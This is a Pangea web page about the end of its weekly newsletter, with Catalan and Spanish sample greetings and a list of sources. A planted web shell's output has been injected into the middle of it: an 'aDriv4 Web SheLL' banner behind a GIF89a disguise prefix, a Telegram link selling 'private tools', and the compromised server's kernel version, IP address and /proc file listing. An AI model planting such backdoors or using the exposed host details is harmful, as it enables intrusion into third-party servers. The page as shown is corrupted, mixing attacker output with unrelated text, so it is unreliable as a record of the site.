Cierre de la revista de Pangea

GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux wpmu 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
 Apache
 45.150.186.219
Name Type Size Owner/Group Permission Last Modified Actions
. dir - nobody/nogroup 0555 2025-08-18 06:28:47
.. dir - root/root 0755 2024-08-12 07:59:46
1 dir - root/root 0555 2025-08-18 06:28:48
102 dir - root/root 0555 2025-08-18 06:29:14
106 dir - root/root 0555 2025-08-18 06:29:14
113 dir - root/root 0555 2025-08-18 06:29:14
2564564 dir - root/root 0555 2025-08-31 10:06:18
2564565 dir - www-data/www-data 0555 2025-08-31 10:09:08
2564566 dir - www-data/www-data 0555 2025-08-31 10:09:08
2618528 dir - root/root 0555 2025-09-01 07:03:06
271 dir - root/root 0555 2025-08-18 06:29:24
273 dir - postfix/postfix 0555 2025-08-18 06:39:22
2745227 dir - root/root 0555 2025-09-02 10:48:15
2916124 dir - root/root 0555 2025-09-03 10:00:08
2916126 dir - www-data/www-data 0555 2025-09-03 10:09:02
2916208 dir - root/root 0555 2025-09-03 10:00:15
2916209 dir - www-data/www-data 0555 2025-09-03 10:09:02
2916210 dir - www-data/www-data 0555 2025-09-03 10:09:02
2931359 dir - www-data/www-data 0555 2025-09-04 02:09:04
2992605 dir - www-data/www-data 0555 2025-09-04 05:09:03
3003235 dir - postfix/postfix 0555 2025-09-04 07:39:04
3004867 dir - pangea/pangea 0555 2025-09-04 07:51:38
3004868 dir - pangea/pangea 0555 2025-09-04 07:51:34
3005077 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005079 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005080 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005086 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005087 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005089 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005399 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005400 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005401 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005402 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005409 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005655 dir - pangea/pangea 0555 2025-09-04 07:51:38
3005656 dir - pangea/pangea 0555 2025-09-04 07:51:38
40726 dir - root/root 0555 2025-08-18 06:51:34
43 dir - root/root 0555 2025-08-18 06:28:57
93 dir - root/root 0555 2025-08-18 06:29:14
93991 dir - root/root 0555 2025-08-19 04:30:03
93995 dir - root/root 0555 2025-08-19 04:30:03
93996 dir - root/root 0555 2025-08-19 04:30:03
94 dir - messagebus/messagebus 0555 2025-08-18 06:29:14
95 dir - root/root 0555 2025-08-18 06:29:14
96 dir - node_exporter/node_exporter 0555 2025-08-18 06:29:14
acpi dir - nobody/nogroup 0555 2025-09-03 08:29:39
bus dir - nobody/nogroup 0555 2025-08-19 04:59:22
driver dir - nobody/nogroup 0555 2025-09-03 08:29:39
dynamic_debug dir - nobody/nogroup 0555 2025-08-19 04:59:22
fs dir - nobody/nogroup 0555 2025-08-19 04:59:22
irq dir - nobody/nogroup 0555 2025-08-19 04:59:22
net link - pangea/pangea 0555 2025-09-04 07:51:38
pressure dir - nobody/nogroup 0555 2025-08-18 06:33:45
self link - pangea/pangea 0555 2025-09-04 07:51:38
spl dir - nobody/nogroup 0555 2025-08-18 06:33:45
sys dir - nobody/nogroup 0555 2025-08-18 06:28:47
sysvipc dir - nobody/nogroup 0555 2025-09-03 08:29:39
thread-self link - pangea/pangea 0555 2025-09-04 07:51:38
tty dir - nobody/nogroup 0555 2025-08-18 06:28:47
buddyinfo text/csv 0 B nobody/nogroup 0444 2025-08-19 04:59:22
cgroups text/plain 0 B nobody/nogroup 0444 2025-08-18 06:29:13
cmdline text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
consoles text/plain 0 B nobody/nogroup 0444 2025-08-19 04:59:22
cpuinfo text/plain 118.13 KB nobody/nogroup 0444 2025-09-04 07:51:38
crypto text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
devices text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
diskstats text/plain 3.48 KB nobody/nogroup 0444 2025-09-04 07:51:38
dma text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
execdomains text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
fb text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
filesystems text/plain 0 B nobody/nogroup 0444 2025-08-18 06:28:51
interrupts text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
iomem text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
ioports text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
kallsyms text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
kcore 64 PB nobody/nogroup 0400 2025-08-18 06:28:51
key-users text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
keys text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
kmsg 0 B nobody/nogroup 0400 2025-09-03 08:29:39
kpagecgroup 0 B nobody/nogroup 0400 2025-09-03 08:29:39
kpagecount 0 B nobody/nogroup 0400 2025-09-03 08:29:39
kpageflags 0 B nobody/nogroup 0400 2025-09-03 08:29:39
loadavg text/plain 30 B nobody/nogroup 0444 2025-09-04 07:51:38
locks text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
meminfo text/plain 1.47 KB nobody/nogroup 0444 2025-09-04 07:51:38
misc text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
modules text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
mounts text/plain 0 B root/root 0444 2025-09-04 07:51:38
mtrr 0 B nobody/nogroup 0644 2025-09-03 08:29:39
pagetypeinfo 0 B nobody/nogroup 0400 2025-09-03 08:29:39
partitions text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
schedstat text/plain 0 B nobody/nogroup 0444 2025-08-18 06:33:45
slabinfo text/plain 22.36 KB nobody/nogroup 0444 2025-09-04 07:51:38
softirqs text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
stat text/plain 9.57 KB nobody/nogroup 0444 2025-09-04 07:51:38
swaps text/plain 39 B nobody/nogroup 0444 2025-09-04 07:51:38
sysrq-trigger 0 B nobody/nogroup 0200 2025-08-18 06:28:47
timer_list 0 B nobody/nogroup 0400 2025-09-03 08:29:39
uptime text/plain 23 B nobody/nogroup 0444 2025-09-04 07:51:39
version text/plain 0 B nobody/nogroup 0444 2025-09-02 07:36:00
vmallocinfo 0 B nobody/nogroup 0400 2025-09-03 08:29:39
vmstat text/plain 0 B nobody/nogroup 0444 2025-08-18 06:33:45
zoneinfo text/plain 0 B nobody/nogroup 0444 2025-09-03 08:29:39
© aDriv4

Algunas fuentes: Infomoc, Revista Rebelión, Ecologistas en Acción, Barrapunto, internautas, La Jornada, PCS, Mugak, etc.

El mensaje de la lista solía comenzar por:

Hola a tots i totes,

A continuació, us fem arribar una nova edició del butlletí setmanal de Pangea amb la corresponent selecció de notícies i articles destacats dels darrers dies. Us recordem que tant el present butlletí com les edicions anteriors també es troben disponibles a la categoria “Butlletí setmanal” de la secció “Revista” de la web (www.pangea.org).

Esperem que la informació sigui del vostre interès.

Salutacions,
L’Equip de Pangea 

__________________________________

Hola a todos y a todas,

A continuación, os hacemos llegar una nueva edición del boletín semanal de Pangea con la correspondiente selección de algunas noticias y artículos destacados de los últimos días. Os recordamos también que tanto el actual boletín como las ediciones anteriores se encuentran disponibles en la categoría “Boletín semanal” de la sección “Revista” de la web (www.pangea.org).

Esperamos que la información os resulte interesante.

Saludos,
El Equipo de Pangea